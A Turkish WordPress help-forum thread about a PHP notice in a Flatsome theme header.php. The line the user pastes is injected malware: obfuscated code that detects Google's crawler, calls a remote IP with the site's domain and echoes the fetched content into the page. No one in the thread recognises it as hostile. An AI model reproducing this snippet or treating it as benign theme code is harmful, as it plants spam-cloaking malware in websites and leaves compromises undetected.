• 22-08-2019, 13:05:25
    #1
    Merhaba Arkadaşlar Sayfanın header ında aşağıdaki gibi hata alıyorum sabah 2 eklenti güncellemesi yaptım nedir nasıl düzeltebilirim

    Notice: Use of undefined constant HTTP_USER_AGENT - assumed 'HTTP_USER_AGENT' in /home/opendoorcom/public_html/wp-content/themes/flatsome/header.php on line 1
  • 22-08-2019, 15:41:56
    #2
    İlgili satırda
    $_SERVER[‘HTTP_USER_AGENT’]
    gibi bir kod olması gerek. Onu,
    isset($_SERVER[‘HTTP_USER_AGENT’])
    olarak editlersen düzelir dostum.
  • 23-08-2019, 07:36:47
    #3
    <?php $botbotbot = "...".mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot = str_replace(" ", "-", $botbotbot);if (strpos($botbotbot,"google")){$ch = curl_init();    $xxx = sqrt(1369);    curl_setopt($ch, CURLOPT_URL, "http://$xxx.1.208.164/cakes/?useragent=$botbotbot&domain=$_SERVER[HTTP_HOST]");       $result = curl_exec($ch);       curl_close ($ch);      echo $result;}?><!DOCTYPE html>




    Hocam düzenledim ama düzelmedi ilgili satırdaki kod bu şekilde yardımcı olursanız sevinirim



    sorun çözüldü teşekkürler